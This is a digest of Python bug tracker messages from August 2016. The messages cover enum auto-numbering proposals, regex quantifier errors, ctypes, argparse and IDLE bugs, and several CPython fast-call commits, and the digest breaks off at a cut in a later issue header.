added the comment: > For me, it's legit to use a singleton in an enum. But you cannot explain _why_, right? Like Raymond says, it's not working like anything else in Python works. To me, this looks almost the same as the gripes of those lazy people who want "myfile.close" expression to close myfile, or worse, "quit" to exit the Python interpreter. An irrational phobia of parentheses. Why not call your object, if you expect some code to be executed? [At least a dotted name like myfile.close _could_ be made to work using descriptors, but still I think everyone agrees it's not a good idea.] To me, we either want to stay with default type metaclass (`style='imperative'`:), and write something like class Color(Enum): green = member() yellow = member() or we acknowledge that `style='declarative'` has its place under the sun (not only for Enums, of course... database models, namedtuples, even ABCs could profit from it), and embrace its full power, realizing it's not Python we usually see, but it's still Python. Magic is not something to be afraid of, if you understand it. We are talking Py3.6 here... aren't formatted strings a totally insane magic? Yet they ended up in the language, because they are immensely better than the alternatives. Here the gain is much smaller, but the threshold is much lower too: we don't need new syntax at all. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:41:48 2016 From: report at bugs.python.org (Ethan Furman) Date: Fri, 19 Aug 2016 14:41:48 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471617708.36.0.880939775988.issue26988@psf.upfronthosting.co.za> Ethan Furman added the comment: Vedran, you have some very interesting points. However, if you really want to champion this you'll need to take it to Python Ideas. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:45:17 2016 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 19 Aug 2016 14:45:17 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1471617253.23.0.460552470856.issue26988@psf.upfronthosting.co.za> Message-ID: <20160819104513.58dd23d9@subdivisions.wooz.org> Barry A. Warsaw added the comment: Hey, I just realized that you can get pretty darn close with just a little bit of extra typing, and existing stdlib: from enum import Enum from itertools import count auto = count() class Color(Enum): red = next(auto) green = next(auto) blue = next(auto) Look ma, no magic! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:50:34 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 19 Aug 2016 14:50:34 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471618234.04.0.361277457914.issue22021@psf.upfronthosting.co.za> R. David Murray added the comment: "base_name is the name of the file to create, including the path". So you should be able to specify the path to where you want it created. If that doesn't work, that's a bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:50:56 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 14:50:56 +0000 Subject: [issue27801] test_update_lines_cols from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS In-Reply-To: <1471610379.95.0.850112382064.issue27801@psf.upfronthosting.co.za> Message-ID: <1471618256.14.0.728847521926.issue27801@psf.upfronthosting.co.za> Xiang Zhang added the comment: Yes. update_lines_cols is not always available. We can just treat it like other methods like resize_term. Upload a trivial patch to fix this. ---------- keywords: +patch nosy: +xiang.zhang Added file: http://bugs.python.org/file44155/issue27801.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:53:30 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 14:53:30 +0000 Subject: [issue27740] Fix doc of Py_CompileStringExFlags In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za> Message-ID: <1471618410.55.0.361023383489.issue27740@psf.upfronthosting.co.za> Xiang Zhang added the comment: Ping. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:53:31 2016 From: report at bugs.python.org (Ethan Furman) Date: Fri, 19 Aug 2016 14:53:31 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471618411.98.0.650696389384.issue26988@psf.upfronthosting.co.za> Ethan Furman added the comment: No magic, but a whole heap of extra boiler-plate. :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:58:59 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 14:58:59 +0000 Subject: [issue27801] test_update_lines_cols from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS In-Reply-To: <1471610379.95.0.850112382064.issue27801@psf.upfronthosting.co.za> Message-ID: <20160819145856.43130.90894.DC4CDE4D@psf.io> Roundup Robot added the comment: New changeset 51368991e858 by Berker Peksag in branch '3.5': Issue #27801: Skip test_update_lines_cols when update_lines_cols() is not available https://hg.python.org/cpython/rev/51368991e858 New changeset bd9183850965 by Berker Peksag in branch 'default': Issue #27801: Merge from 3.5 https://hg.python.org/cpython/rev/bd9183850965 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:59:14 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 14:59:14 +0000 Subject: [issue27801] test_update_lines_cols from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS In-Reply-To: <1471610379.95.0.850112382064.issue27801@psf.upfronthosting.co.za> Message-ID: <1471618754.36.0.201404681061.issue27801@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 11:03:59 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 19 Aug 2016 15:03:59 +0000 Subject: [issue27800] Regular expressions with multiple repeat codes In-Reply-To: <1471608420.14.0.872966965651.issue27800@psf.upfronthosting.co.za> Message-ID: <1471619039.65.0.0624282048448.issue27800@psf.upfronthosting.co.za> R. David Murray added the comment: It seems perfectly logical and consistent to me. {4} is a repeat count, as is *. You get the same error if you do 'a?*', and the same bypass if you do '(a?)*' (though I haven't tested if that does anything useful :). You don't need the ?:, as far as I can tell, you just need to have the * modifying a group, making the group the "preceding regular expression". ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 11:11:24 2016 From: report at bugs.python.org (Kenneth Reitz) Date: Fri, 19 Aug 2016 15:11:24 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1471618411.98.0.650696389384.issue26988@psf.upfronthosting.co.za> Message-ID: <215B7FE2-935A-46A5-B862-15890A527793@kennethreitz.org> Kenneth Reitz added the comment: There's a difference between boiler-plate and "code". > On Aug 19, 2016, at 10:53 AM, Ethan Furman wrote: > > > Ethan Furman added the comment: > > No magic, but a whole heap of extra boiler-plate. :( > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 11:19:17 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 19 Aug 2016 15:19:17 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. In-Reply-To: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> Message-ID: <1471619957.8.0.0746467616704.issue27802@psf.upfronthosting.co.za> R. David Murray added the comment: I was wondering the same thing recently, thanks for opening this issue. Here is my use case: I'm implementing a PersistentList, and I want it to be equal to a 'real' list, but not equal to a tuple. Frankly, I hadn't thought about the latter problem before this issue, so my __eq__ code in my concrete class is currently broken. I'll need to explicitly check for list subclasses and PersistentList subclasses. I'm not sure there's any way to "generalize" that. I presume that's why Sequence doesn't have the methods. The answer would seem to be to have explicit 'List' and 'Tuple' abcs. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 11:32:20 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 15:32:20 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <20160819153215.24226.96229.57DC4AC1@psf.io> Roundup Robot added the comment: New changeset a1a29d20f52d by Victor Stinner in branch 'default': Add _PyObject_FastCall() https://hg.python.org/cpython/rev/a1a29d20f52d New changeset 89e4ad001f3d by Victor Stinner in branch 'default': PyEval_CallObjectWithKeywords() uses fast call https://hg.python.org/cpython/rev/89e4ad001f3d New changeset 7cd479573de9 by Victor Stinner in branch 'default': call_function_tail() uses fast call https://hg.python.org/cpython/rev/7cd479573de9 New changeset 34af2edface9 by Victor Stinner in branch 'default': Cleanup call_function_tail() https://hg.python.org/cpython/rev/34af2edface9 New changeset adceb14cab96 by Victor Stinner in branch 'default': Cleanup callmethod() https://hg.python.org/cpython/rev/adceb14cab96 New changeset 10f1a4910adb by Victor Stinner in branch 'default': PEP 7: add {...} around null_error() in abstract.c https://hg.python.org/cpython/rev/10f1a4910adb New changeset 5cf9524f2923 by Victor Stinner in branch 'default': Avoid call_function_tail() for empty format str https://hg.python.org/cpython/rev/5cf9524f2923 New changeset f1ad6f64a11e by Victor Stinner in branch 'default': Fix PyObject_Call() parameter names https://hg.python.org/cpython/rev/f1ad6f64a11e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 11:45:35 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 15:45:35 +0000 Subject: [issue27740] Fix doc of Py_CompileStringExFlags In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za> Message-ID: <1471621535.71.0.546849159861.issue27740@psf.upfronthosting.co.za> Berker Peksag added the comment: I don't understand the second part of the patch. *filename* is a filesystem encoding (:func:`os.fsdecode`) encoded string [...] Do you want to document that filename should be encoded by using PyUnicode_EncodeFSDefault *before* passing it to Py_CompileStringExFlags (you will probably need to wrap it with something like PyBytes_AsString too)? If so, I think the os.fsdecode() part needs to be changed to os.fsencode(). I think the current wording is saying that filename is going to be decoded inside of Py_CompileStringExFlags (which is also correct.) ---------- nosy: +berker.peksag, haypo stage: -> patch review versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 11:52:55 2016 From: report at bugs.python.org (Zachary Ware) Date: Fri, 19 Aug 2016 15:52:55 +0000 Subject: [issue27798] test_sysconfig: test_srcdir() fails on "x86 Gentoo Installed with X 3.x" buildbot In-Reply-To: <1471600446.77.0.0232561146513.issue27798@psf.upfronthosting.co.za> Message-ID: <1471621975.55.0.945708019461.issue27798@psf.upfronthosting.co.za> Zachary Ware added the comment: This appears to be a duplicate of #23968. ---------- nosy: +zach.ware resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 11:55:38 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 15:55:38 +0000 Subject: [issue27740] Fix doc of Py_CompileStringExFlags In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za> Message-ID: <1471622138.29.0.706692992163.issue27740@psf.upfronthosting.co.za> Xiang Zhang added the comment: > filename is going to be decoded inside of Py_CompileStringExFlags Actually all I want to express is this, *filename* will be decoded inside. But now the wording looks to me is that *filename* is already a decoded string when passed. I don't want to document anything about PyUnicode_EncodeFSDefault. I should remove (:func:`os.fsdecode`). How do you think? I'm Okay if you think the current wording is correct. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 12:00:05 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 16:00:05 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <20160819160000.24254.3245.925F88A8@psf.io> Roundup Robot added the comment: New changeset 2da6dc1c30d8 by Victor Stinner in branch 'default': contains and rich compare slots use fast call https://hg.python.org/cpython/rev/2da6dc1c30d8 New changeset 2d4d40da2aba by Victor Stinner in branch '3.5': Fix a refleak in call_method() https://hg.python.org/cpython/rev/2d4d40da2aba New changeset 5b1ed48aedef by Victor Stinner in branch '2.7': Fix a refleak in call_method() https://hg.python.org/cpython/rev/5b1ed48aedef New changeset df4efc23ab18 by Victor Stinner in branch '3.5': Fix a refleak in call_maybe() https://hg.python.org/cpython/rev/df4efc23ab18 New changeset 7669fb39a9ce by Victor Stinner in branch '2.7': Fix a refleak in call_maybe() https://hg.python.org/cpython/rev/7669fb39a9ce ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 12:31:40 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 16:31:40 +0000 Subject: [issue27713] Spurious "platform dependent libraries" warnings when running make In-Reply-To: <1470679566.14.0.658709147971.issue27713@psf.upfronthosting.co.za> Message-ID: <1471624300.98.0.507609485915.issue27713@psf.upfronthosting.co.za> Xiang Zhang added the comment: This is the design of getpath.c, when no exec/exec_prefix can be found it will emit warning and use the default one. Fortunately it gives use the ability to suppress the warnings. :) Simply set Py_FrozenFlag in _freeze_importlib.c can solve this problem. Upload a trivial patch to set the flag. ---------- keywords: +patch Added file: http://bugs.python.org/file44156/issue27713.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 12:39:44 2016 From: report at bugs.python.org (Chris Jerdonek) Date: Fri, 19 Aug 2016 16:39:44 +0000 Subject: [issue27126] Apple-supplied libsqlite3 on OS X is not fork safe; can cause crashes In-Reply-To: <1464217505.87.0.0701340905112.issue27126@psf.upfronthosting.co.za> Message-ID: <1471624784.96.0.810401361974.issue27126@psf.upfronthosting.co.za> Changes by Chris Jerdonek : ---------- nosy: +chris.jerdonek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 12:45:36 2016 From: report at bugs.python.org (Chris Jerdonek) Date: Fri, 19 Aug 2016 16:45:36 +0000 Subject: [issue27126] Apple-supplied libsqlite3 on OS X is not fork safe; can cause crashes In-Reply-To: <1464217505.87.0.0701340905112.issue27126@psf.upfronthosting.co.za> Message-ID: <1471625136.56.0.624011880069.issue27126@psf.upfronthosting.co.za> Chris Jerdonek added the comment: FWIW, I just came across an issue in Django's test suite that I believe is caused by the issue reported here. Some of Django's unit tests were hanging for me when run in "parallel" mode (which uses multiprocessing). Here is the ticket I filed there: https://code.djangoproject.com/ticket/27086 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 12:54:06 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 16:54:06 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <20160819165353.6556.59124.AFA7B0F2@psf.io> Roundup Robot added the comment: New changeset 73b00fb1dc9d by Victor Stinner in branch 'default': Cleanup call_method() and call_maybe() https://hg.python.org/cpython/rev/73b00fb1dc9d New changeset 8e085070ab28 by Victor Stinner in branch 'default': call_method() and call_maybe() now use fast call https://hg.python.org/cpython/rev/8e085070ab28 New changeset 2d2bc1906b5b by Victor Stinner in branch 'default': Issue #27128: Cleanup slot_sq_item() https://hg.python.org/cpython/rev/2d2bc1906b5b New changeset 6eb586b85fa1 by Victor Stinner in branch 'default': Issue #27128: slot_sq_item() uses fast call https://hg.python.org/cpython/rev/6eb586b85fa1 New changeset 605a42a50496 by Victor Stinner in branch 'default': Issue #27128: Cleanup slot_nb_bool() https://hg.python.org/cpython/rev/605a42a50496 New changeset 6a21b6599692 by Victor Stinner in branch 'default': slot_nb_bool() now uses fast call https://hg.python.org/cpython/rev/6a21b6599692 New changeset 45d2b5c12b19 by Victor Stinner in branch 'default': slot_tp_iter() now uses fast call https://hg.python.org/cpython/rev/45d2b5c12b19 New changeset 124d5d0ef81f by Victor Stinner in branch 'default': calliter_iternext() now uses fast call https://hg.python.org/cpython/rev/124d5d0ef81f New changeset 71c22e592a9b by Victor Stinner in branch 'default': keyobject_richcompare() now uses fast call https://hg.python.org/cpython/rev/71c22e592a9b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 13:01:25 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 17:01:25 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <20160819170120.6556.68046.E979D371@psf.io> Roundup Robot added the comment: New changeset 3ab32f7add6e by Victor Stinner in branch 'default': Issue #27128: _pickle uses fast call https://hg.python.org/cpython/rev/3ab32f7add6e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 13:11:36 2016 From: report at bugs.python.org (David Hagen) Date: Fri, 19 Aug 2016 17:11:36 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471626696.28.0.447855244538.issue26988@psf.upfronthosting.co.za> David Hagen added the comment: One solution similar to one proposed by Vedran works with the current Enum: class Color(Enum): red = object() green = object() blue= object() I tested this in PyCharm and it is perfectly happy with the autocomplete and everything. The main disadvantage is the boilerplate, of course. And perhaps "object()" does not show the clearest intent, but it depends on your perspective. The repr also looks kind of funny: >>> repr(Color.red) > One possibility would be to add an auto() function to enum as a wrapper around object(), providing a more explicit name and a cleaner repr: from enum import Enum, auto class Color(Enum): red = auto() blue = auto() green = auto() repr(Color.red) # auto() means it has no (meaningful) value, so show nothing ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 13:32:38 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 19 Aug 2016 17:32:38 +0000 Subject: [issue27792] bool % int has inconsistent return type. In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> Message-ID: <1471627958.73.0.759126538399.issue27792@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This can only happen because of a hole in the tests. test_bool.BoolTest.test_math appears to test every binary int op, including bitwise, *except* %. After self.assertIsNot(False/1, False) add self.assertEqual(False%1, 0) self.assertIsNot(False%1, False) # currently fails self.assertEqual(True%1, 1) self.assertIsNot(True%1, True) test_int tests int() calls, not int math, so I don't know where the equivalent tests on int math with subclasses are or would go. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 13:34:56 2016 From: report at bugs.python.org (Matthew Barnett) Date: Fri, 19 Aug 2016 17:34:56 +0000 Subject: [issue27800] Regular expressions with multiple repeat codes In-Reply-To: <1471608420.14.0.872966965651.issue27800@psf.upfronthosting.co.za> Message-ID: <1471628096.23.0.689693647814.issue27800@psf.upfronthosting.co.za> Matthew Barnett added the comment: "*" and the other quantifiers ("+", "?" and "{...}") operate on the preceding _item_, not the entire preceding expression. For example, "ab*" means "a" followed by zero or more repeats of "b". You're not allowed to use multiple quantifiers together. The proper way is to use the non-capturing "(?:...)". It's too late to change that because some of them already have a special meaning when used after another quantifier: "a*?" is a lazy quantifier, as are "a+?", "a??" and "a{1,4}?". Many other regex implementations, including the "regex" module, use an additional "+" to signify a possessive quantifier: "a*+", "a++", "a?+" and "a{1,4}+". That just leaves the additional "*", which is treated as an error in all the other regex implementations that I'm aware of. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 13:44:56 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 19 Aug 2016 17:44:56 +0000 Subject: [issue27800] Regular expressions with multiple repeat codes In-Reply-To: <1471608420.14.0.872966965651.issue27800@psf.upfronthosting.co.za> Message-ID: <1471628696.6.0.871213791822.issue27800@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This appears to be a doc issue to clarify that * cannot directly follow a repetition code. I believe there have been other (non)bug reports like this before. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 14:11:37 2016 From: report at bugs.python.org (Erwan Le Pape) Date: Fri, 19 Aug 2016 18:11:37 +0000 Subject: [issue27803] ctypes automatic byref failing on custom classes attributes Message-ID: <1471630297.02.0.563258836934.issue27803@psf.upfronthosting.co.za> New submission from Erwan Le Pape: When using a custom class to store a ctype value, passing that class as a function argument explicitly declared to be a pointer type fails to pass the _as_parameter_ class attribute as a pointer and instead raises a TypeError. For example: >>> from ctypes import * >>> from ctypes.wintypes import * >>> >>> class CustomPHKEY(object): ... def __init__(self, value): ... self._as_parameter_ = HKEY(value) ... >>> >>> function = windll.function >>> function.argtypes = [POINTER(HKEY)] >>> function.restype = LONG >>> result = CustomPHKEY(0) >>> function(result) Traceback (most recent call last): File "", line 1, in ctypes.ArgumentError: argument 1: : expected LP_c_void_p instance instead of c_void_p Shouldn't ctypes apply the required byref() conversion automatically? Or is this behavior normal and automatic byref() only concerns native ctypes types? I only flagged Python 3.5 and Python 2.7 since they are the only ones I explicitly tested this on but I suspect other versions are affected. ---------- components: ctypes messages: 273149 nosy: amaury.forgeotdarc, belopolsky, lepaperwan, meador.inge priority: normal severity: normal status: open title: ctypes automatic byref failing on custom classes attributes type: behavior versions: Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 14:22:58 2016 From: report at bugs.python.org (Francis MB) Date: Fri, 19 Aug 2016 18:22:58 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> Message-ID: <1471630978.64.0.0909806261238.issue27766@psf.upfronthosting.co.za> Francis MB added the comment: Documentation cosmetic: # * Prefer ECDHE over DHE for better performance # * Prefer any AES-GCM over any AES-CBC for better performance and security +# * Prefer any AES-GCM over any AES-CBC for better performance and security The patch seems to be adding the same preference comment? or did you mean other preference? ---------- nosy: +francismb _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 14:31:18 2016 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 19 Aug 2016 18:31:18 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. In-Reply-To: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> Message-ID: <1471631478.12.0.25837475157.issue27802@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 14:36:02 2016 From: report at bugs.python.org (Zachary Ware) Date: Fri, 19 Aug 2016 18:36:02 +0000 Subject: [issue12713] argparse: allow abbreviation of sub commands by users In-Reply-To: <1312854957.22.0.437190269629.issue12713@psf.upfronthosting.co.za> Message-ID: <1471631762.01.0.635635189669.issue12713@psf.upfronthosting.co.za> Zachary Ware added the comment: There's a bug in this patch, first reported at https://github.com/python/benchmarks/issues/1 Attached patch causes test_parse_args_abbreviation to show the failure: test.test_argparse.ArgumentParserError: ('SystemExit', '', "usage: PROG [-h] [--foo] bar {1,2,3,lost,long,longer} ...\nPROG: error: ambiguous choice: 'long' could match long, longer\n") ---------- assignee: -> vinay.sajip nosy: +zach.ware resolution: fixed -> stage: resolved -> needs patch status: closed -> open versions: +Python 3.6 -Python 3.4 Added file: http://bugs.python.org/file44157/abbr_bug_test.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 14:45:14 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 19 Aug 2016 18:45:14 +0000 Subject: [issue26689] Add `has_flag` method to `distutils.CCompiler` In-Reply-To: <1459643481.74.0.720699620632.issue26689@psf.upfronthosting.co.za> Message-ID: <1471632314.01.0.383082178808.issue26689@psf.upfronthosting.co.za> Ned Deily added the comment: Sylvain, have you brought this feature request up on the Distutils mailing list? The PyPA there is responsible for packaging features. One big issue with adding new features to Distutils is the backwards-compatibility tradeoff: many third-party package authors want to support their distributions on multiple Python versions which is one of the reasons why we are generally very cautious about changing or even adding APIs to Distutils at this point in its life. https://mail.python.org/mailman/listinfo/distutils-sig ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 15:16:19 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 19 Aug 2016 19:16:19 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <20160819170120.6556.68046.E979D371@psf.io> Message-ID: STINNER Victor added the comment: Ok, I updated the most simple forms of function calls. I will open new issues for more complex calls and more sensible parts of the code like ceval.c. Buildbots seem to be happy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 15:33:59 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 19 Aug 2016 19:33:59 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471635238.99.0.083343639225.issue26988@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: # Just wait until I put the keys to the time machine in their usual place... :-) Ok, while we're talking about whether declarative style is a good idea, Python has already got the initial seed of that style. With Guido's blessing! PEP 526 enables us to mix declarative and imperative style in "ordinary" code, so we can write @Enum class Color: green: member yellow: member without any additional syntax. I think it satisfies everyone: there are no parentheses, and there are no assignments. [_And_ there is no misleading analogy with existing syntax, because this is a new syntax.:] There are just declarations, and the decorator instantiates them. Decorator is needed because formally we need to exclude the type checking semantics, and the only official way currently is through a decorator. But in fact we can use the forward references to _actually_ annotate the members with their real type: class Color(Enum): green: 'Color' yellow: 'Color' And once the forward references get a nicer syntax, and the unpacking issues are solved, we'll be able to write class Color(Enum): green, yellow: Color And I think finally everyone will be happy. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 15:53:26 2016 From: report at bugs.python.org (=?utf-8?q?Gr=C3=A9goire_Cutzach?=) Date: Fri, 19 Aug 2016 19:53:26 +0000 Subject: [issue27804] IDLE 3.5.2 crashes when typing ^ on keyboard Message-ID: <1471636406.37.0.977189718518.issue27804@psf.upfronthosting.co.za> New submission from Gr?goire Cutzach: When typing ^ (CIRCUMFLEX ACCENT Unicode: U+005E, UTF-8: 5E) on azerty Keyboard, IDLE quits/crashes. Encountered on a mac running OS X 10.11.6 ---------- assignee: terry.reedy components: IDLE messages: 273155 nosy: Gr?goire Cutzach, terry.reedy priority: normal severity: normal status: open title: IDLE 3.5.2 crashes when typing ^ on keyboard type: crash versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 15:55:13 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 19 Aug 2016 19:55:13 +0000 Subject: [issue27804] IDLE 3.5.2 crashes when typing ^ on keyboard In-Reply-To: <1471636406.37.0.977189718518.issue27804@psf.upfronthosting.co.za> Message-ID: <1471636513.79.0.37854654563.issue27804@psf.upfronthosting.co.za> Ned Deily added the comment: You are almost certainly seeing a crash due to a critical bug in the Apple-supplied version of Tk 8.5 on OS X systems up through at least OS X 10.11. See here for more information: https://www.python.org/download/mac/tcltk/#apple-8-5-9. The solution is to use a Python that links with a more, up-to-date third-party version of Tcl and Tk, such as Pythons from python.org OS X installers and current versions of ActiveTcl from ActiveState: https://www.python.org/download/mac/tcltk/ ---------- nosy: +ned.deily resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 15:59:24 2016 From: report at bugs.python.org (Sylvain Corlay) Date: Fri, 19 Aug 2016 19:59:24 +0000 Subject: [issue26689] Add `has_flag` method to `distutils.CCompiler` In-Reply-To: <1459643481.74.0.720699620632.issue26689@psf.upfronthosting.co.za> Message-ID: <1471636764.7.0.611654857581.issue26689@psf.upfronthosting.co.za> Sylvain Corlay added the comment: Thanks Ned. I posted a couple of messages on distutils-sig and got little attention. I think that this feature is very important for detecting whether a compiler supports a certain flag like `-std=c++11` and provide a meaningful error when needed. CMake has the same feature, implemented in a similar fashion (CHECK_CXX_COMPILER_FLAG). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 16:11:12 2016 From: report at bugs.python.org (Shane Hathaway) Date: Fri, 19 Aug 2016 20:11:12 +0000 Subject: [issue27805] In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE Message-ID: <1471637472.92.0.246311076418.issue27805@psf.upfronthosting.co.za> New submission from Shane Hathaway: With Python 2, the following call worked: open('/dev/stdout', 'a') Users of Supervisor have been depending on that for a long time. With Python 3.5, this is what happens: >>> open('/dev/stdout', 'a') Traceback (most recent call last): File "", line 1, in OSError: [Errno 29] Illegal seek Presumably, this happens because Python 3 opens the file in 'w' mode and seeks to the end, while Python 2 passed the 'a' flag directly to the underlying C library; the underlying library is apparently smart enough to treat 'a' and 'w' identically when opening character device files and FIFOs. It's a nasty little surprise for those upgrading from Python 2. ---------- components: IO messages: 273158 nosy: hathawsh priority: normal severity: normal status: open title: In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 17:57:37 2016 From: report at bugs.python.org (paul j3) Date: Fri, 19 Aug 2016 21:57:37 +0000 Subject: [issue12713] argparse: allow abbreviation of sub commands by users In-Reply-To: <1312854957.22.0.437190269629.issue12713@psf.upfronthosting.co.za> Message-ID: <1471643857.25.0.721280244128.issue12713@psf.upfronthosting.co.za> Changes by paul j3 : ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 17:58:19 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 19 Aug 2016 21:58:19 +0000 Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to dependency on deleted header file Message-ID: 